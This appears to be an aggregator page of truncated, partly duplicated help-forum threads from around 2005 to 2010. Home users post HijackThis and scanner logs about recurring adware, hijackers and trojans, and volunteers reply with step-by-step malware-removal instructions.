Windows restarted for updates while sleeping last night. Running malwarebytes again. Final rid of Hijackthis entries
O20 - AppInit_DLLs: C:\ProgramData\nuvanifi\nuvanifi.dll
2658977195-169558386-357108580-1000

Malwarebytes came out clean as well as a full McAfee virus scan. Hijackthis log appears clean too. With persistance I think I have this cleaned finally. I have both a dds scan and gmer report but don't really know what to look for. I can post these if someone has time to review them. I ran both prior to the windows update restart. Also updated and ran spywareblaster. Pop ups and redirects are gone too.

Partial log of items cleaned.
3/31/2010 2:19:22 PM
mbam-log-2010-03-31 (14-19-22).txt

Folders Infected:
C:\Windows\System32\config\systemprofile\AppData\Roaming\AntiVirus Plus (Rogue.AntiVirusPlus) -> Quarantined and deleted successfully.

Files Infected:
C:\$Recycle.Bin\S-1-5-21-2658977195-169558386-357108580-1000\$RR7NTAN.tmp (Trojan.Agent.Gen) -> Quarantined and deleted successfully.
C:\Windows\System32\config\systemprofile\AppData\Roaming\avp.ico (Rogue.AntiVirusPlus) -> Quarantined and deleted successfully.
C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\AntiVirus Plus.lnk (Rogue.AntiVirusPlus) -> Quarantined and deleted successfully.
C:\Windows\System32\config\systemprofile\Local Settings\Application Data\ave.exe (Rogue.MultipleAV) -> Quarantined and deleted successfully.
C:\Windows\System32\co... Read more

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Hot bar I am told is a parasite.That is its a freeby thats seems frindly but in reality is sucking all your secrets.So last night I deleted all trace of it from the system by norton and by Regedit.Tonight it back......What sort of mallet this this need ?

Answer:hot bar keeps a coming back

Please post a HJT log click hereYou may need to post in in two halves because of the 800 word limit.Please double space it by adding a blank line after each line so that it is legible with the site's formatting.

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Can't seem to get rid of the trusted zones, option is disabled in internet tools. I've run spybot, adware and avast but they still show.

Logfile of HijackThis v1.99.0
Scan saved at 10:18:03 AM, on 2/4/2005
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\LEXBCES.EXE
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\LEXPPS.EXE
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\iTunes\iTunesHelper.exe
C:\Program Files\QuickTime\qttask.exe
C:\Program Files\Real\RealPlayer\RealPlay.exe
C:\Program Files\Lexmark X6100 Series\lxbfbmgr.exe
C:\Program Files\Zone Labs\ZoneAlarm\zlclient.exe
C:\PROGRA~1\COMMON~1\AOL\ACS\acsd.exe
C:\Program Files\Lexmark X6100 Series\lxbfbmon.exe
C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\Alwil Software\Avast4\aswUpdSv.exe
C:\Program Files\America Online 9.0\aoltray.exe
C:\Program Files\HP\Digital Imaging\bin\hpqtra08.exe
C:\Program Files\Microsoft Office\OFFICE11\ONENOTEM.EXE
C:\Program Files\Alwil Software\Avast4\ashServ.exe
C:\Program Files\Microsoft SQL Server\MSSQL$MICROSOFTBCM\Binn\sqlservr.exe
C:\Program Files\Analog Devices\SoundMAX\SMAgent.... Read more

Answer:they keep coming back!

Please print out or copy this page to Notepad. Make sure to work through the fixes in the exact order it is mentioned below. If there's anything that you don't understand, ask your question(s) before proceeding with the fixes. You should not have any open browsers when you are following the procedures below.

Go to My Computer->Tools/View->Folder Options->View tab and make sure that 'Show hidden files and folders' (or 'Show all files') is enabled. Also make sure that Display the contents of System Folders' is checked. Windows XP's search feature is a little different. When you click on 'All files and folders' on the left pane, click on the 'More advanced options' at the bottom. Make sure that Search system folders, Search hidden files and folders, and Search subfolders are checked.

For the options that you checked/enabled earlier, you may uncheck them after your log is clean. If we ask you to fix a program that you use or want to keep, please post back saying that (we don't know every program that exists, so we may tell you to delete a program that we think is bad to keep).

Turn off system restore by right clicking on My Computer and go to Properties->System Restore and check the box for Turn off System Restore. Click Apply and then OK. Restart your computer. After we are finished with your log file and verified that it's clean, you may turn it back on and create a new restore point.

Right click on this link http://www.greyknight17.com/spy/De... Read more

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Hi everyone,

i had this fake FBI Virus on a laptop couple days ago, it would not let the windows to boot, not even in safe mode. i got it to clean with kaspersky boot disc, and also scanned it with avg, malwarebytes, avast. send it back to customer, same night he called me saying avast kept picking up something but was not able to remove it! so i picked it up again the next day, scanned with avg & malwarebytes seemed to be cleaned up again, nothing was picking up any viruses. but guess what? this morning i have a text from a custoemr, saying he was locked up out of screen and he was able to get into it, but now avg is picking up something again!!! i asked him if he uses usb drive or external or anything but he said he did not use any of those! PLEASE HELP WITH REMOVAL OF THIS!!!!

Answer:It keeps coming back!!!!

Hello sapikest,
my name is Marius and I will be assisting you with your Malware related problems.

Before we move on, please read the following points carefully.
First, read my instructions completely. If there is anything that you do not understand kindly ask before proceeding.
Perform everything in the correct order. Sometimes one step requires the previous one.
If you have any problems while you are follow my instructions, Stop there and tell me the exact nature of your problem.
Do not run any other scans without instruction or Add/ Remove Software unless I tell you to do so. This would change the output of our tools and could be confusing for me.
Post all Logfiles as a reply rather than as an attachment unless I specifically ask you. If you can not post all logfiles in one reply, feel free to use more posts.
If I don't hear from you within 3 days from this initial or any subsequent post, then this thread will be closed.
Stay with me. I will give you some advice about prevention after the cleanup process. Absence of symptoms does not always mean the computer is clean.
My first language is not english. So please do not use slang or idioms. It could be hard for me to read. Thanks for your understanding.

Before we start, please note:

Please be advised that this free service is typically for home users. We'll help you out this time, but in the future if you are unable to clean a machine via standard methods, then either backup the client's data and rein... Read more

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I've run Ad-awareSE, Trend Micro's housecall, and McAfee. I've also run Ad-aware while in safemode yet I still keep getting these popups and McAfee keeps telling me that " The file C:\\WINDOWS\system32\winupdt.exe was infected by the Downloader-LG trojan and has been deleted to complete the cleaning process. Its' says it repeatedly then stops then a few hours later it'll come back. Here is my Hijack This log:
Logfile of HijackThis v1.99.1
Scan saved at 6:07:30 PM, on 3/15/2005
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\LEXBCES.EXE
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\LEXPPS.EXE
C:\WINDOWS\system32\rundll32.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\wkogyo.exe
C:\Program Files\Common Files\AOL\ACS\AOLAcsd.exe
C:\Program Files\Common Files\AOL\TopSpeed\2.0\aoltsmon.exe
c:\PROGRA~1\mcafee.com\vso\mcvsrte.exe
C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\MDM.EXE
C:\WINDOWS\system32\nvsvc32.exe
C:\WINDOWS\System32\svchost.exe
c:\PROGRA~1\mcafee.com\vso\mcshield.exe
C:\WINDOWS\Mixer.exe
C:\Program Files\Common Files\Real\Update_OB\realsched.exe
C:\Program Files\Java\j2re1.4.2_06\bin\jusched.exe
C:\Program Files\Common Files\AOL\ACS\AOLDial.exe
C:... Read more

Answer:They just keep coming back...

16 more replies
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hi, i hope somebody can help me. I'm running windows 95 b with internet explorer 5.5 and I keep getting "Error loading C:\WINDOWS\TEMP\se.dll". when I run IE, avg detects trojan horse startpage 16.bd and my start page is now advertising called "about: blank" I've deleted se.dll but it just keeps coming back. I'd appreciate any suggestions. thanx!
 

Answer:se.dll keeps coming back!

it sounds like you got hijacked. this should have been posted on the spyware specific board. follow the instructions on this link below.

http://forums.majorgeeks.com/showthread.php?t=35407 <--
Sticky: READ ME FIRST BEFORE ASKING FOR SUPPORT: Basic Spyware, Trojan And Virus Removal

g/l - sos
 

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Question: Keeps coming back!

I thought I wiped it off already but it's back AGAIN! And my SpyBot S&D is missing all sorts of components so it's not working right and it's the only one that has found any. The Microsoft one found one and deleted it but SpyBot found 16 but only deleted 2 before running into problems. EliteBar is back also. Help again!
 

Answer:Keeps coming back!

- Run ALL the steps in this Sticky thread READ ME FIRST BEFORE ASKING FOR SUPPORT: Basic Spyware, Trojan And Virus RemovalMake sure you check version numbers and get all updates.

- Very Important: Make sure you tell us the results from running the tutorial...was anything found? Were you unable to complete any of the scans?...Were you unable to download any of the tools?...Did you do the on-line scans as suggested? etc.
After doing ALL of the above you still have a problem:

- Download HijackThis 1.99.1

- Unzip the hijackthis.exe file to a folder you create named C:\Program Files\HJT

- Do NOT run Hijack This from the Desktop, a temp folder, or a sub-folder of C:\Documents and Settings, or choose to run it directly from the downloaded ZIP file.

- Before running HijackThis: You must close each of the following:your web browser, e-mail client, instant messenger, and programs like notepad, wordpad, MS Word etc. And any other unnecessary running programs.

- Run HijackThis and save your log file.

- Post your log as an ATTACHMENT to your next message. (Do NOT copy/paste the log into your post).
 

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I have a problem with pop-up ads that keep on appearing randomly on my computer. I tried using adaware which picked up a lot of them, but they keep coming back later.

Hijack this log (Created with Hijack-this Analyzer)

====================================================================
Log was analyzed using KRC HijackThis Analyzer - Updated on 4/1/05
Get updates at http://www.greyknight17.com/download.htm#programs

***Security Programs Detected***

C:\Program Files\Common Files\Symantec Shared\ccSetMgr.exe
C:\Program Files\Symantec AntiVirus\DefWatch.exe
C:\Program Files\Symantec AntiVirus\Rtvscan.exe
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\PROGRA~1\mcafee.com\agent\mcagent.exe
C:\Program Files\Common Files\Symantec Shared\ccApp.exe
C:\PROGRA~1\SYMANT~1\VPTray.exe
O4 - HKLM\..\Run: [MCAgentExe] c:\PROGRA~1\mcafee.com\agent\mcagent.exe
O4 - HKLM\..\Run: [MCUpdateExe] C:\PROGRA~1\mcafee.com\agent\mcupdate.exe
O4 - HKLM\..\Run: [ccApp] "C:\Program Files\Common Files\Symantec Shared\ccApp.exe"
O4 - HKLM\..\Run: [vptray] C:\PROGRA~1\SYMANT~1\VPTray.exe
O23 - Service: Symantec Event Manager (ccEvtMgr) - Symantec Corporation - C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
O23 - Service: Symantec Password Validation (ccPwdSvc) - Symantec Corporation - C:\Program Files\Common Files\Symantec Shared\ccPwdSvc.exe
O23 - Service: Symantec Settings Manager (ccSetMgr) - Symantec Corporation - C:\Program Files\Common Fil... Read more

Answer:Pop-Ups that keep coming back

Hi and welcome to TSF.

I am currently reviewing your log. Please note that this is under the supervision of an expert analyst, and I will be back with a fix for your problem a.s.a.p

Please be patient with me during this time.

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I think I may have finally scrubbed enough to keep the dll (IeBHOs.dll) from re-appearing, but the E2G folder keeps recreating itself. Any suggestions?

It's a friends system and had Norton on it. I installed NOD32 and PC Tools Spyware Doctor. Then read a few threads and ran HJT a few times and made some deletions that "may" have helped. I know that I managed to get rid of the TrojanDownLoader-AC2 but this E2G is stubborn.

Also ran SpySweeper many times in safe mode and in non-safe mode. Disables Spyware Doctor from auto load with windows as it seemed to be interefering with the Spy Sweeper scan.

Here's the latest HJT log:

Thanks in advance for any suggestions!

Charlie

Logfile of HijackThis v1.99.1
Scan saved at 6:51:15 PM, on 4/18/2006
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Common Files\Symantec Shared\ccSetMgr.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\Program Files\Common Files\Symantec Shared\SNDSrvc.exe
C:\Program Files\Common Files\Symantec Shared\SPBBC\SPBBCSvc.exe
C:\Program Files\Common Files\Symantec Shared\CCPD-LC\symlcsvc.exe
C:\WINDOWS\system32\LEXBCES.EXE
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\LEXPPS.EX... Read more

Answer:E2G keeps coming back

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I think I may have finally scrubbed enough to keep the dll (IeBHOs.dll) from re-appearing, but the E2G folder keeps recreating itself. Any suggestions?

It's a friends system and had Norton on it. I installed NOD32 and PC Tools Spyware Doctor. Then read a few threads and ran HJT a few times and made some deletions that "may" have helped. I know that I managed to get rid of the TrojanDownLoader-AC2 but this E2G is stubborn.

Also ran SpySweeper many times in safe mode and in non-safe mode. Disabled Spyware Doctor from auto load with windows as it seemed to be interefering with the Spy Sweeper scan.

Here's the latest HJT log:

Thanks in advance for any suggestions!

Charlie

Logfile of HijackThis v1.99.1
Scan saved at 6:51:15 PM, on 4/18/2006
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Common Files\Symantec Shared\ccSetMgr.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\Program Files\Common Files\Symantec Shared\SNDSrvc.exe
C:\Program Files\Common Files\Symantec Shared\SPBBC\SPBBCSvc.exe
C:\Program Files\Common Files\Symantec Shared\CCPD-LC\symlcsvc.exe
C:\WINDOWS\system32\LEXBCES.EXE
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\LEXPPS.EX... Read more

Answer:E2G keeps coming back

Thread closed, please do not post duplicates!
Continue here: http://forums.techguy.org/security/460316-e2g-keeps-coming-back.html
 

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Relevance 49.2%

I uses Vundofix, ad-aware, spybot, xoft, avg, House call, Microtrend, Don't know what to do next? here is my infoLogfile of HijackThis v1.99.1Scan saved at 1:48:37 PM, on 3/22/2006Platform: Windows XP SP2 (WinNT 5.01.2600)MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)Running processes:C:\WINDOWS\System32\smss.exeC:\WINDOWS\system32\winlogon.exeC:\WINDOWS\system32\services.exeC:\WINDOWS\system32\lsass.exeC:\WINDOWS\system32\svchost.exeC:\WINDOWS\System32\svchost.exeC:\WINDOWS\system32\spoolsv.exeC:\Program Files\NavNT\defwatch.exeC:\Program Files\NavNT\rtvscan.exeC:\Program Files\Norton Utilities\NPROTECT.EXEC:\WINDOWS\Explorer.EXEC:\WINDOWS\System32\svchost.exeC:\Program Files\NavNT\vptray.exeC:\Program Files\BearShare\BearShare.exeC:\Program Files\ArcSoft\PhotoImpression 5\PI Monitor.exeC:\Program Files\Yahoo!\Messenger\ymsgr_tray.exeC:\WINDOWS\system32\wuauclt.exeC:\WINDOWS\system32\rundll32.exeC:\Program Files\Internet Explorer\iexplore.exeC:\Program Files\HijackThis\HijackThis.exeR1 - HKCU\Software\Microsoft\Internet Explorer,SearchURL = http://www.Begin2Search.com/search.htmlO4 - HKLM\..\Run: [vptray] C:\Program Files\NavNT\... Read more

Answer:Pop Up's Keep Coming Back

Hello Mhenry, Welcome to BleepingComputer!My name is Nick and I will be checking over your log.Let's get started.You will want to print or save these instructions.Please download Look2Me-Destroyer.exe to your desktop.Close all windows before continuing.Double-click Look2Me-Destroyer.exe to run it.Put a check next to Run this program as a task.You will receive a message saying Look2Me-Destroyer will close and re-open in approximately 1 minute. Click OKWhen Look2Me-Destroyer re-opens, click the Scan for L2M button, your desktop icons will disappear, this is normal.Once it's done scanning, click the Remove L2M button.You will receive a Done Scanning message, click OK.When completed, you will receive this message: Done removing infected files! Look2Me-Destroyer will now shutdown your computer, click OK.Your computer will then shutdown.Turn your computer back on.Please post the contents of Look2Me-Destroyer.txt (it can be found wherever you saved Look2Me-Destroyer.exe) and a new HiJackThis log.If Look2Me-Destroyer does not reopen automatically, reboot and try again.I highly suggest you get rid of BearShare. It is a P2P program which is usually the cause for malware.Read here for more information on clean and infected File Sharing Programs.Click Start> Control Panel > Add/Remove Programs and remove:BearSharePlease note any other programs that you dont recognize in that list in your next responseReboot your computer once more.Please go HERE to run Panda's ActiveScanOn... Read more

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Relevance 49.2%

I think I may have finally scrubbed enough to keep the dll (IeBHOs.dll) from re-appearing, but the E2G folder keeps recreating itself. Any suggestions?

It's a friends system and had Norton on it. I installed NOD32 and PC Tools Spyware Doctor. Then read a few threads and ran HJT a few times and made some deletions that "may" have helped. I know that I managed to get rid of the TrojanDownLoader-AC2 but this E2G is stubborn.

Also ran SpySweeper many times in safe mode and in non-safe mode. Disables Spyware Doctor from auto load with windows as it seemed to be interefering with the Spy Sweeper scan.

Here's the latest HJT log:

Thanks in advance for any suggestions!

Charlie

Logfile of HijackThis v1.99.1
Scan saved at 6:51:15 PM, on 4/18/2006
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Common Files\Symantec Shared\ccSetMgr.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\Program Files\Common Files\Symantec Shared\SNDSrvc.exe
C:\Program Files\Common Files\Symantec Shared\SPBBC\SPBBCSvc.exe
C:\Program Files\Common Files\Symantec Shared\CCPD-LC\symlcsvc.exe
C:\WINDOWS\system32\LEXBCES.EXE
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\LEXPPS.EX... Read more

Answer:E2G keeps coming back

Three threads are not needed for the same problem.
 

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Relevance 49.2%

I am having trouble getting rid of this BHO object.Everytime I manage to remove the dll and the BHO registry entry it comes back under a different name.I have run Spybot, AdAware and Trend Micro AV.Any help would be appreciated.Logfile of HijackThis v1.99.1Scan saved at 3:17:14 PM, on 04/16/07Platform: Windows XP SP2 (WinNT 5.01.2600)MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)Running processes:C:\WINDOWS\System32\smss.exeC:\WINDOWS\system32\winlogon.exeC:\WINDOWS\system32\services.exeC:\WINDOWS\system32\lsass.exeC:\WINDOWS\system32\Ati2evxx.exeC:\WINDOWS\system32\svchost.exeC:\WINDOWS\System32\svchost.exeC:\WINDOWS\system32\spoolsv.exeC:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\MDM.EXEC:\Program Files\Trend Micro\OfficeScan Client\ntrtscan.exeC:\Program Files\Trend Micro\OfficeScan Client\tmlisten.exeC:\WINDOWS\system32\fxssvc.exeC:\Program Files\Trend Micro\OfficeScan Client\OfcPfwSvc.exeC:\WINDOWS\TEMP\EWE594.EXEC:\WINDOWS\Explorer.EXEC:\Program Files\ATI Technologies\ATI Control Panel\atiptaxx.exeC:\Program Files\Trend Micro\OfficeScan Client\pccntmon.exeC:\Program Files\Messenger\msmsgs.exeC:\WINDOWS\system32\ctfmon.exeC:\Program Files ... Read more

Answer:Bho Keeps Coming Back

Hello EBurritt, I am SifuMike and I will be helping you. Disable your antivirus program and go here http://www.bitdefender.com/scan8/ie.html and run an online scan with BitDefender (you will need to use Internet Explorer for this scan). When the ActiveX Control has loaded, click on "Click here to scan". Please be patient, as this scan may take a few hours. It all depends on the number of files on your computer. When BitDefender completes the scan, select the "Detected Problems" tab. Click on "Click here to export scan". Save the file as an HTML to your Desktop. Then click on the saved file and allow it to open with your browser. Go to Edit - Select All then copy/paste that log back here. Post the BitDefender log.******************Download ATF (Atribune Temp File) Cleaner? by Atribune DO NOT run it yet. Download and install AVG Anti-Spyware 7.5 (formerly Ewido) This is a 30 day trial of the programAVG Anti-Spyware is designed to be used to both scan for and remove malicious files and also to run in real-time alongside, but not replace, your existing anti-virus program to give an added layer of protection.Both the Resident Shield and Automatic Updates will only be available for the thirty day trial period, after that AVG Anti-Spyware will revert to a stand-alone scanner which you can keep and manually update for free and use in a similar way to Ad-Aware SE Personal, Spybot S&D etc.1. After download, double click on the file to launch the... Read more

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Oh God help me... these anti-spyware pop ups keeps popping up and i always run a check on ad-aware 6 and Spybot once i see it. But once i connect to the net and open a site, it all comes back again n i haf to scan it all over again.... help please this is real miserable...

Thank you.

Answer:It just keeps coming back...

try manually removing, on www.doxdesk.com there are listings for spyware/parasites.

you could also go to run > msconfig and deselect any programs starting up that you dont recoginse.

also try going to http://www.symantec.com/homecomputing/
at the bottom is a link to a free online virus check, you may have one that persistantly downloads spyware.

and finally ensure you have a firewall and if you have one make sure its up to date. www.download.com has a free copy of zonealarm, thats a good one

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Relevance 49.2%

I have done everything to get rid of my recent popups including runings spybot, adaware, microsoft Antispyware, Norton and Pandascan both in regular mode and safe mode. THey keep on finding stuff, but after restarting, they still come back. I have also empties the TEMP folder and cookies and temporary Internet files. I have included a HIJACK this log, hopefully someone can help. thanks.

Logfile of HijackThis v1.99.1
Scan saved at 6:34:55 PM, on 6/17/2005
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\rundll32.exe
C:\Program Files\Common Files\AOL\ACS\AOLAcsd.exe
C:\Program Files\Common Files\AOL\TopSpeed\2.0\aoltsmon.exe
C:\Program Files\Common Files\Symantec Shared\ccSetMgr.exe
C:\PROGRA~1\NORTON~1\NORTON~3\GHOSTS~2.EXE
C:\PROGRA~1\NORTON~1\NORTON~2\SPEEDD~1\NOPDB.EXE
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Common Files\Symantec Shared\CCPD-LC\symlcsvc.exe
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\fxssvc.exe
C:\Program Files\Common Files\Symantec Shared\Security Center\SymWSC.exe
C:\Program Files\Synaptics\SynTP\SynTPLpr.exe
C:\WINDOWS\GWHotKey.exe
C:\Program Files\Common Files\Symantec Shared\ccApp.exe... Read more

Answer:HJT Log because they keep coming back

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okay, so yesterday i cleaned my pc with "malwarebytes anti-malware and there were like 11 viruses. then i scanned after t, none, so i get up this morning and scan my pc because everything is going SO SLOW! and now i got 10 viruses. can anyone please help? yesterday i had like 2 injections, 2 clickers, 2 malware.packs, and like 6 agents.
heres my log for yesterday: http://pastebin.com/panEZfVS
and heres todays: http://rhymingcolors.pastebin.com/G7gJ51nr
please help. 5 of those kinds ive never seen before :/ please comment below
 

Answer:they keep coming back >:(

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Relevance 49.2%
Question: Back coming off?

My Lumia 640 is quite new and the back plastic panel writing logo is coming off the Microsoft logo has come off and some letters are coming away?
Is this normal?

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Relevance 49.2%

I can't get rid of this crap - I've ran everything on here that people say. I have SAV installed and up to date, I have SpywareGuard installed, I have ran HJT, I've ran Ewido software, nothing can get rid of this - Everytime I clean everything while in Safe mode and reboot, Spywareguard immediately starts popups saying a BHO has been added (suchs as C:\WINDOWS\system32\wvuvspq.dll) - I click remove BHO, and it comes back over and over...

Someone please help - this has totally destroyed my computer...
 

Answer:Someone please help - These BHO's keep coming back!!

Closing duplicate thread. Please continue to reply here: http://forums.techguy.org/malware-removal-hijackthis-logs/648572-please-help-my-hijackthis-log.html
 

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Everytime I run webroots spysweeper It finds a cws threat. I don't understand why it keeps popping up, even after I tell spysweeper to remove it. Someone want to help me....

Logfile of HijackThis v1.99.1
Scan saved at 7:44:30 PM, on 10/25/2005
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Eset\nod32krn.exe
C:\WINDOWS\System32\nvsvc32.exe
D:\programfiles\Spy Sweeper\Spy Sweeper\WRSSSDK.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\SOUNDMAN.EXE
C:\WINDOWS\system32\RUNDLL32.EXE
C:\Program Files\CyberLink\PowerDVD\PDVDServ.exe
C:\Program Files\Logitech\iTouch\iTouch.exe
C:\Program Files\Eset\nod32kui.exe
D:\programfiles\Spy Sweeper\Spy Sweeper\SpySweeper.exe
C:\Program Files\Java\jre1.5.0_04\bin\jusched.exe
D:\programfiles\MicrosoftAntivirus\gcasServ.exe
C:\Program Files\QuickTime\qttask.exe
D:\programfiles\Spybot - Search & Destroy\TeaTimer.exe
C:\Program Files\iPod\bin\iPodService.exe
C:\Program Files\Logitech\MouseWare\system\em_exec.exe
D:\programfiles\MicrosoftAntivirus\gcasDtServ.exe
C:\Program Files\LIUtilities\WinTasks\wintasks.exe
D:\programfiles\HijackThis.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = www.... Read more

Answer:CWS keeps coming back

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I'm the kind of person who just needs to turn UAC off.  It's a great idea for the vast majority of regular users, though, so I'm not canning it, just asking some questions on how to actually turn it off so that it stays off.I'm using Windows 7 x64 on a laptop that's just on its own, no domain, no group policy etc.Anyway, I've got my UAC slider all the way down the bottom (and have rebooted), yet I still need to explicitly right-click and choose "Run as Administrator" if I need to run something as an administrator.  (for example the command prompt, if I want to run "chkdsk c: /f" or "pskill explorer.exe" or use ProcessExplorer and look at the threads in system processes or whatever.)  The thing is I want to run most of my stuff as administrator without the need to right-click each time.  Just take a look at some of the crazy problems I see and need to work with: http://users.on.net/~MRIS/Problem_20090207_0701.mhtI know that I can tick "run as administrator" in the advanced tab for the shortcut that launches these as a work-around but I want it for all my sysinternals utilities, and there's lots of them.  I'm also sick of clicking "show for all users" in things like task manager when I launch it via CTRL-SHIFT-ESC. There's a Group Policy setting in the registry named:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUAThat I think is responsible.However it always comes back and gets set... Read more

Answer:UAC keeps coming back on all by itself.

 
MRIS said:
How do I track how this is getting there?It turns out a file named "registry.pol" in this folder:C:\Windows\System32\GroupPolicy\Machine\was doing it.

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Hello
For many years a succeeded in keeping my computers safe - then, not even a month ago, something surfaced. A Virut thing after I visited an insecure site.
If this can help, a few days before I had for the first time in my pc life installed a downloader program called Flashget-
Well I tried at first to clean up with Spybot and Spyware Doctor (who had not by the way intercepted the hostile item). But the machine had still a strange behaviour so I downloaded some Linux based Rescue CD .iso files (Kaspersky, BitDefender, WebDoctor), burned the CDs and went on scanning without Windows. Those found a wealth of infections by Trojans as well as by the Virut thing, so I kept cleaning and cleaning (desinfecting and/or deleting that is) until nothing more was found.
I then restarted Windows, uninstalled Flashget and installed Avast antivirus. Unfortunately when using my browser I started to get redirected to a "stolnik.net" whatever search I did. Plus Avast began to show infections spreading in the system by a "W32.Vitro" virus. So I tried again with the rescue CDs - Kaspersky found a couple issues but nothing else - and Avast still claiming I have the W32.Vitro everywhere.
At this point I used the VirutCF removal tool by Norton, but to no avail - there is no Virut infection in the machine.
I was beginning to get nervous so I downloaded the Combofix tool, disabled all and every anti-virus and -spyware - as requested - and tried to start Combofix: nothing happens... Read more

Answer:They keep coming back

If you truley have Virut the only real alternative is to do a complete wipe and reinstall. See boopme's post here:http://www.bleepingcomputer.com/forums/ind...t&p=1260380That will help you determine if you have virut, and if you do, what you need to do.

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Question: Keeps Coming Back

Can someone please help me with this problem? All my AV programs detect a virus running in my system, but whenver I have it removed, it keeps coming back How can I stop this???


HJT Log:

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 8:22:13 AM, on 8/25/2008
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\ESET\ESET NOD32 Antivirus\ekrn.exe
C:\Nexon\Mabinogi\npkcmsvc.exe
C:\WINDOWS\System32\nvsvc32.exe
C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe
C:\WINDOWS\explorer.exe
C:\Program Files\Yahoo!\Messenger\ymsgr_tray.exe
C:\WINDOWS\system32\csrcs.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\WINDOWS\system32\NOTEPAD.EXE
C:\Program Files\Spybot - Search & Destroy\SpybotSD.exe
C:\Program Files\Trend Micro\HijackThis\HijackThis.exe

R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Local Page =
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Local Page =
O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 7.0\ActiveX\AcroIEHelper.dll
